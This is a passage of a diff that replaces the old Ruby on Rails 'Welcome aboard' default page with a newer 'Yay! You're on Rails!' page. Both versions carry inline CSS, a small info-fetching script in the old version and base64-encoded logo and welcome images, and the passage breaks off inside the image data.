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); - background-repeat: no-repeat; - background-position: top left; - height: 64px; - } - - #header h1, #header h2 {margin: 0} - - #header h2 { - color: #888; - font-weight: normal; - font-size: 16px; - } - - #about h3 { - margin: 0; - margin-bottom: 10px; - font-size: 14px; - } - - #about-content { - background-color: #ffd; - border: 1px solid #fc0; - margin-left: -55px; - margin-right: -10px; - } - - #about-content table { - margin-top: 10px; - margin-bottom: 10px; - font-size: 11px; - border-collapse: collapse; - } - - #about-content td { - padding: 10px; - padding-top: 3px; - padding-bottom: 3px; - } - - #about-content td.name { - font-weight: bold; - vertical-align: top; - color: #555; - } - - #about-content td.value {color: #000} - - #about-content ul { - padding: 0; - list-style-type: none; - } - - #about-content.failure { - background-color: #fcc; - border: 1px solid #f00; - } - - #about-content.failure p { - margin: 0; - padding: 10px; - } - - #getting-started { - border-top: 1px solid #ccc; - margin-top: 25px; - padding-top: 15px; - } - - #getting-started h1 { - margin: 0; - font-size: 20px; - } - - #getting-started h2 { - margin: 0; - font-size: 14px; - font-weight: normal; - color: #333; - margin-bottom: 25px; - } - - #getting-started ol { - margin-left: 0; - padding-left: 0; - } - - #getting-started li { - font-size: 18px; - color: #888; - margin-bottom: 25px; - } - - #getting-started li h2 { - margin: 0; - font-weight: normal; - font-size: 18px; - color: #333; - } - - #getting-started li p { - color: #555; - font-size: 13px; - } - - #sidebar ul { - margin-left: 0; - padding-left: 0; - } - - #sidebar ul h3 { - margin-top: 25px; - font-size: 16px; - padding-bottom: 10px; - border-bottom: 1px solid #ccc; - } - - #sidebar li { - list-style-type: none; - } - - #sidebar ul.links li { - margin-bottom: 5px; - } - - .filename { - font-style: italic; - } - </style> - <script> - function about() { - var info = document.getElementById('about-content'), - xhr; - - if (info.innerHTML === '') { - xhr = new XMLHttpRequest(); - xhr.open("GET", "/rails/info/properties", false); - xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest"); - xhr.send(""); - info.innerHTML = xhr.responseText; - } - - info.style.display = info.style.display === 'none' ? 'block' : 'none'; - } - </script> - </head> - <body> - <div id="page"> - <div id="sidebar"> - <ul id="sidebar-items"> - <li> - <h3>Browse the documentation</h3> - <ul class="links"> - <li><a href="http://guides.rubyonrails.org/">Rails Guides</a></li> - <li><a href="http://api.rubyonrails.org/">Rails API</a></li> - <li><a href="http://www.ruby-doc.org/core/">Ruby core</a></li> - <li><a href="http://www.ruby-doc.org/stdlib/">Ruby standard library</a></li> - </ul> - </li> - </ul> - </div> - - <div id="content"> - <div id="header"> - <h1>Welcome aboard</h1> - <h2>You’re riding Ruby on Rails!</h2> - </div> - - <div id="about"> - <h3><a href="/rails/info/properties" onclick="about(); return false">About your application’s environment</a></h3> - <div id="about-content" style="display: none"></div> - </div> - - <div id="getting-started"> - <h1>Getting started</h1> - <h2>Here’s how to get rolling:</h2> - - <ol> - <li> - <h2>Use <code>bin/rails generate</code> to create your models and controllers</h2> - <p>To see all available options, run it without parameters.</p> - </li> - - <li> - <h2>Set up a root route to replace this page</h2> - <p>You're seeing this page because you're running in development mode and you haven't set a root route yet.</p> - <p>Routes are set up in <span class="filename">config/routes.rb</span>.</p> - </li> - - <li> - <h2>Configure your database</h2> - <p>If you're not using SQLite (the default), edit <span class="filename">config/database.yml</span> with your username and password.</p> - </li> - </ol> - </div> - </div> - - <div id="footer"> </div> - </div> - </body> +<head> + <title>Ruby on Rails</title> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width"> + <style type="text/css" media="screen" charset="utf-8"> + body { + font-family: Georgia, sans-serif; + line-height: 2rem; + font-size: 1.3rem; + background-color: white; + margin: 0; + padding: 0; + color: #000; + } + + h1 { + font-weight: normal; + line-height: 2.8rem; + font-size: 2.5rem; + letter-spacing: -1px; + color: black; + } + + p { font-family: monospace; } + + .container { + width: 960px; + margin: 0 auto 40px; + overflow: hidden; + } + + + section { + margin: 0 auto 2rem; + padding: 1rem 0 0; + width: 700px; + text-align: center; + } + </style> +</head> + +<body> + <div class="container"> + <section> + <p> + <a href="http://rubyonrails.org"> + <img width="130" height="46" alt="Ruby on Rails" border="0" src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxzdmcgdmVyc2lvbj0iMS4xIiBpZD0iTGF5ZXJfMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeD0iMHB4IiB5PSIwcHgiDQoJIHZpZXdCb3g9IjAgMCA0MDAgMTQwIiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDAgMCA0MDAgMTQwIiB4bWw6c3BhY2U9InByZXNlcnZlIj4NCjxzdHlsZT4uYXtmaWxsOiNjMDA7fTwvc3R5bGU+DQo8dGl0bGU+cmFpbHMtbG9nbzwvdGl0bGU+DQo8Zz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTM0Ni42LDEyMS41djE4LjFjMCwwLDIzLjQsMCwzMi43LDBjNi43LDAsMTguMi00LjksMTguNi0xOC42YzAtMC42LDAtNi41LDAtN2MwLTExLjctOS42LTE4LjYtMTguNi0xOC42DQoJCWMtNC4yLDAtMTYuMywwLTE2LjMsMFY4N2wzMi4zLDBWNjguOGMwLDAtMjIuMiwwLTMxLDBjLTgsMC0xOC43LDYuNi0xOC43LDE4LjljMCwxLjIsMCw1LjIsMCw2LjNjMCwxMi4zLDEwLjYsMTguNiwxOC43LDE4LjYNCgkJYzIyLjUsMC4xLTUuNCwwLDE1LjQsMGMwLDguOCwwLDguOCwwLDguOCIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNMTcxLjQsMTE3LjFjMCwwLDE3LjUtMS41LDE3LjUtMjQuMXMtMjEuMi0yNC43LTIxLjItMjQuN2gtMzguMnY3MS4zaDE5LjJ2LTE3LjJsMTYuNiwxNy4yaDI4LjQNCgkJTDE3MS40LDExNy4xeiBNMTY0LDEwMi41aC0xNS4zVjg2LjJoMTUuNGMwLDAsNC4zLDEuNiw0LjMsOC4xUzE2NCwxMDIuNSwxNjQsMTAyLjV6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0yMzYuMyw2OC44Yy00LjksMC01LjYsMC0xOS41LDBjLTEzLjksMC0xOC42LDEyLjYtMTguNiwxOC42YzAsMTMsMCw1Mi4yLDAsNTIuMmgxOS41di0xMi41SDIzNnYxMi41aDE4LjkNCgkJYzAsMCwwLTM4LjUsMC01Mi4yQzI1NC45LDcyLjIsMjQxLjEsNjguOCwyMzYuMyw2OC44eiBNMjM2LDEwNi45aC0xOC40Vjg5LjZjMCwwLDAtMy45LDYuMS0zLjljNS42LDAsMSwwLDYuNywwDQoJCWM1LjQsMCw1LjUsMy45LDUuNSwzLjlWMTA2Ljl6Ii8+DQoJPHJlY3QgeD0iMjYzLjgiIHk9IjY4LjgiIGNsYXNzPSJhIiB3aWR0aD0iMjAuMyIgaGVpZ2h0PSI3MC44Ii8+DQoJPHBvbHlnb24gY2xhc3M9ImEiIHBvaW50cz0iMzEyLjYsMTIxLjMgMzEyLjYsNjguOCAyOTIuNCw2OC44IDI5Mi40LDEyMS4zIDI5Mi40LDEzOS42IDMxMi42LDEzOS42IDMzOS45LDEzOS42IDMzOS45LDEyMS4zIAkNCgkJIi8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik05LDEzOS42aDc5YzAsMC0xNS4xLTY4LjksMzQuOS05Ni44YzEwLjktNS4zLDQ1LjYtMjUuMSwxMDIuNCwxNi45YzEuOC0xLjUsMy41LTIuNywzLjUtMi43DQoJCVMxNzYuOCw1LjEsMTE4LjksMTAuOUM4OS44LDEzLjUsNTQsNDAsMzMsNzVTOSwxMzkuNiw5LDEzOS42eiIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNOSwxMzkuNmg3OWMwLDAtMTUuMS02OC45LDM0LjktOTYuOGMxMC45LTUuMyw0NS42LTI1LjEsMTAyLjQsMTYuOWMxLjgtMS41LDMuNS0yLjcsMy41LTIuNw0KCQlTMTc2LjgsNS4xLDExOC45LDEwLjlDODkuOCwxMy41LDU0LDQwLDMzLDc1UzksMTM5LjYsOSwxMzkuNnoiLz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTksMTM5LjZoNzljMCwwLTE1LjEtNjguOSwzNC45LTk2LjhjMTAuOS01LjMsNDUuNi0yNS4xLDEwMi40LDE2LjljMS44LTEuNSwzLjUtMi43LDMuNS0yLjcNCgkJUzE3Ni44LDUuMSwxMTguOSwxMC45Qzg5LjcsMTMuNSw1My45LDQwLDMyLjksNzVTOSwxMzkuNiw5LDEzOS42eiIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNMTczLjYsMTYuNWwwLjQtNi43Yy0wLjktMC41LTMuNC0xLjctOS43LTMuNWwtMC40LDYuNkMxNjcuMiwxNCwxNzAuNCwxNS4yLDE3My42LDE2LjV6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0xNjQuMSwzNy43bC0wLjQsNi4zYzMuMywwLjEsNi42LDAuNSw5LjksMS4ybDAuNC02LjJDMTcwLjYsMzguMywxNjcuMywzNy45LDE2NC4xLDM3Ljd6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0xMjcuMSw2LjVjMC4zLDAsMC43LDAsMSwwbC0yLTYuMWMtMy4xLDAtNi4zLDAuMi05LjYsMC42bDEuOSw1LjlDMTIxLjMsNi42LDEyNC4yLDYuNSwxMjcuMSw2LjV6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik0xMzEuOSw0My4zbDIuMyw2LjljMi45LTEuNCw1LjgtMi42LDguNy0zLjVsLTIuMi02LjZDMTM3LjMsNDEuMSwxMzQuNCw0Mi4yLDEzMS45LDQzLjN6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik04Ni41LDE3TDgyLDEwLjFjLTIuNSwxLjMtNS4xLDIuNy03LjgsNC4zbDQuNiw3QzgxLjQsMTkuOCw4My45LDE4LjMsODYuNSwxN3oiLz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTEwNyw2Mmw0LjgsNy4yYzEuNy0yLjUsMy43LTQuOCw1LjktNy4xbC00LjUtNi44QzExMC45LDU3LjQsMTA4LjgsNTkuNywxMDcsNjJ6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik05Mi41LDk0LjJsOC4xLDYuNGMwLjQtMy45LDEuMS03LjgsMi4xLTExLjdsLTcuMi01LjdDOTQuMiw4Ni45LDkzLjMsOTAuNiw5Mi41LDk0LjJ6Ii8+DQoJPHBhdGggY2xhc3M9ImEiIGQ9Ik00OC43LDQ2LjdsLTcuMS02LjJjLTIuNiwyLjUtNS4xLDUtNy40LDcuNWw3LjcsNi42QzQ0LDUxLjksNDYuMyw0OS4yLDQ4LjcsNDYuN3oiLz4NCgk8cGF0aCBjbGFzcz0iYSIgZD0iTTE4LjUsOTEuNEw3LDg3LjJjLTEuOSw0LjMtNCw5LjMtNSwxMmwxMS41LDQuMkMxNC44LDEwMCwxNi45LDk1LjEsMTguNSw5MS40eiIvPg0KCTxwYXRoIGNsYXNzPSJhIiBkPSJNOTEsMTE5LjZjMC4yLDUuMywwLjcsOS42LDEuMiwxMi42bDEyLDQuM2MtMC45LTMuOS0xLjgtOC4zLTIuNC0xM0w5MSwxMTkuNnoiLz4NCjwvZz4NCjwvc3ZnPg0K" /> + </a> + </p> + + <h1>Yay! You’re on Rails!</h1> + + <img alt="Welcome" width="600" height="350" src="data:image/jpg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoXHh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoaJjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIArwEsAMBIgACEQEDEQH/xAAbAAEAAgMBAQAAAAAAAAAAAAAAAwQBAgUGB//aAAgBAQAAAAD6AAAAAAAAAAAMZAAAGMgMZABjIAAAAAAAAAAAAAAAAAAYyDGQAAADBkAxljIAADGQAAAAAAAAAAAANMSAAAAAAABjLGQAAAAAAAAAAAAADEUwDSGyGGQAAxkAAAAAAAAAxkGMjGQAAAAAAFS2Yy1xtVthSt7AAAABjIAAAAAAAAAAAAAAAAMZBDtJVtFS3TuYxtjSQAAAAAADGQAAAADGQAAAAAAACrY2BVtEM1S3BmbSvbAAMZAxkAAAAAAMMgAAMZAGM4yAAAAK02+DKragnKlqNLHHYi23DGQYyBjIAAAAAAAAAAAAAAA1znDEE0FnMcdiOJLJVtU7hWn2Yj1nq2NgwyGGQAAGMgAAYyAAABjIAAAAAhkVLdW1mtPvipPvBttLVtQywz1pt9a0qapayFWaSpbKlrIAAAAAAxljIAAMZAAAABptkxkxmncp3EWs6pmfeLWeraK9ivLvjEO28FipdVrEE+adwhmFS2a6SmMgAAAAAAAYyAAAACHWxhTuhUtVbO2KttTs521gs1bQV5JCrYzBJBbYya17QK89W2VbOYdpAAAAAYyAADGTGQAAADFS5rVW8jSCZJirbRyK1itaq2kciDeSvYqWs184sMY2Q5l1inKe82zRjercYyMZAYZxkAYyAAMZAAAAAabqtjaOGxtrtjNO4hkr2gp3KlupbQzVd95Kdynb1gTa7R7TKu+2c7otN5YpMw676zgGuwMZAAAAAYyAAACPbY1jk21r2mta1SvVLdO2hzHaMZq2qkmlmtaRxyb1bdOxAzY13qW8qk0mVaxUt5Yyp3KV2HMpXm2ijsgAAAAAGMgACPfIMV7JWlkilqZn3p3KlrKvvtmstwT0rla1U3zvBbK8mYLVfZCt5U7jFW2rT87pVLhXsQZmxmlZ22xTu4p3MgAAAAAAAAI4bQDGWKtuGWLXM9WxiFZ0gmhngs1Leu9WzVtw5itQT15MwWNoNoLgp28wpYYrdWTaU1zUuEUebCpZ2rSyAxkDGQAAAAAGMitYyBDNjNeSRirJNivaqW2KdyndryxSSK09a3HpOp3INsxR3a8le5VtYq63KtqHfePWLeaJvFY212o3dYpIbUUdkAAAAAAwyABhkBjIQS5qXIJ6k+d6V2vLtSzdo3oW0djEWYbete0qW4NWNblWetco3ocRXKdypbVLVSxvVsYiTV5tLFK5FLrWuAAAAAGMgAAMZAVbVWWXEFgQbRWNNZ49ZsVbeteard1hsVLlO1BpbQTbVLdffMOLVWzUu0rtaatcqW6dxUk2lqWdqdqCTend0jsGCtaAAAAADGQBjIMZIZiDaSpcU7bMMtS1XtU7lK5lTt51q2N1W3TuUrlWbbWWraqW6+6PW1Ut1LdO7UtVLdW3TuaQx3dK9uOPM2dNJqdwFSxuAAAAAADGcZCGZSt7K0shUtxxz6wZkxiOzXs1bUe2yHMdmrbKdyGancp3MVLlexUt1pcR626dynZisU7jTWSrbqWYbFO3mlcyFfeWtYgnqz53rWQAAAAAAAV584q2ypaj2QsSa62Kl2nagnrzRWMxwWqdjbdUtVbeNa1zRtruVLUeuUVuCWvaKdwR6zU7jFO7HFYrWjWtbr7RWa82mLDGQAADGQYzjIAADTdriGxrvWkkqXMVJNtorKpbpXMqlujdZVpYLUcelrancYyqWcokNnbJFLTuBpiCztX2mp26tjSXNOSSC2hxPrs0p3sgAAAAYywyACpayVJ9NpY0FuLSWLeC3VtVt8xzRzVbbOuc6Q62al2DO+spjNSxiQjxJko3qduKarag0l0sQzYhkgs07sDMNvMcNoR17cUwDGQAAAMMgVbTBVtRTYq2qtnNSTeWCWqtRS151a3ghzPjwfuN9kGYbmtVbKnL9BrmpMmr7ya74q2qlmKendabsZFS0xmpcrTb61reKtuOC1ppOAAGMgAGGQGM1LNW5FpYqzop6dyLOlgr42mzUtKtjcxjaPyElX3I03UZJ9o/M6+tId9s+W1irei6ke0dlpFYw12rWNJcVbG2aljEaWvazHnEFsY13AGGQMZAAAYyhxtvtVn2jlhbb5qW68kmIoLlO3X1s1bjME7m+Z6G3po5AxXlr+F7kPsAYpeUit2vUqk8irY2qz1reDarPWuaQWalurmaSOSKKzStbqVvaKYAAwyBgyMZBSuZVp9mKlxjFefeDbWapc1zpCmr2cbax2KVytP5T1fn/RVrQIWPJel53oI+VXudTLlxcH0/QQy17NO5Tt51zkU7mM07debeDM0GskVmnaq3KdvYGMgAAAADFW3Xnq2tYJorOKN6pb1g1ts15JKlpipdKtqtJDb8/wBjjehxFwqtnt2TTiUvU7eWvVNofU55knG9RhlptUtVrbys/a3m00lxHjeKzHFZigsQWqdvKnb1SaaTAAAAxkAxkj03k0hsRTVZpNa1mrca1rdS1kRS4yYzileR+fn6u3n7/H7XN6vScbm+kn18zNnGvWvcXpcT0TI1i0mSeZcn1fQyqWK9qncU7ulW1XtU7W+tO5HHZ1rzw2gAAAwyDDKCdXkkQpmKdzOkEmu8tSxiNPlDM08/0rkmWK1rzfb5db0m3Bp9nznq7PmsemU+Smq3te157r8zuM4ZIZalzzfd4fo4pWMo874Yp3alupYkxSu19pytrazHJpHOGMgGGQGMtdo5NNq1mCavPvGgtotJ68u9O7UsaTMM8fg35IOh2lO3ByaPQlq5nn5sXa836i287f6NLkZ5/puZYn6dHh707vpcsa78O1D2KdwjkQTsUrke9efbGyrNrmSpYkhnxHXuZAAAArSyVZZcRxWatqpbp3KlnSbXNabfKGbWtbcbqyV/OenkxV872OrptngVPUUbele55npcS96XGvmsda7wNc3+Tz/X2PLX99uXa9KHGi608UxBO03Vpt9NcS0rmallHjS1rWtbYrWgAAADFO5mpZaa52imgsVLlO41r2qN2rbyVrFbzno7Xm/Qbx8rl759LK0853IuR6WnQscyxS9HZQ+XsXJehxa+lX1NvyEG/Smg36lscWv6DavriSXbGTSDzXpLZjFW3kjkrLEGZ2mdgAAAGGcVLcFitLoZzDYrbTSMNW4cLbrcN6DyTs+W9Rb5PoXO4Hd6PjvVcbbXp2fN+kly85yt+ra48MnZ63Bodjl197fofP8Aoxxa/ek8tRvTKvfu5eS53Y9LmPXevazBNnWtPIwIJ8gAAABjWC0xVswWadrOa+8mcRTYy05Haqcx2/MWu/xK/Ugkl8/65S4/at8vgdOpU9TJ53me2n14F7zUt+POvqeRzYut5W736/f816XGXMpdDoeT7EcMfJ9jO087X9HaQb17eYU0GlmKZrUt7AAADGTDLTbWvvvKxUt51qXYJs6xTkMuvA3v1Ox570fO4u/o4+Dnqcij7CxyqUPd81Yt1NqnoOL6nOfP9WLm1p6lf2UulLyFn08cM3T836PjV7PQ5vHvcjq75npem3eektdMxBYYzitLJSt7Z1zW2sGMgAABVsYgtQZguawTwbya6TsqNzmzXsee7Xk7druee6OPPZ6XT0pw1JJ/SPM7VbGKtiWDp8rtdPHhree3yJoej2UXl6vVwg9Pv5rq17VK3y9+1xqOIqtmX2HJpW+xQ2u4zpvChs74R17mlezvjIAABjIxXswpqs1S+xFpLIVbSOPyvYr9HXp+e9BS5fRqwc6Wt0sNeP170vWxnzmApevzlpwoaN67V1k9C8zZ7Pm9ZIexp5z0XLvT9Tz/AEOT3KvX4vY4Xc53Ps9vTxdf1HXV7Gla3litmxV3nzrFOxkAAGMtNzCDeSpbawz1pt9mMipzrfn/AE9rzPf5/Q34EG/V04Vd1afruFF6U8xtXxNNi32ChDV5F7fq8uL1PM5FP21TSz41Y9Bf5Fvhepo1uF6rmT25OQin7mODxNez6MihtIJa1nSG3lhnXOQGMgDGNq6fMUFytNmtapXsNY56Xm9/Q7xX/PegzjPLxF1nkLHoOX32vE7vF6HH37MzyNmTMEWJfT5ef7XB5PX5fep1fXeUkk9JxuxTqcC/6fPl7fSt48v3uNiSKWG1nt8CHz8dr03aVllpDizVklq24Y7VbFrIDGQMZYpXc1pJa0kdmnb0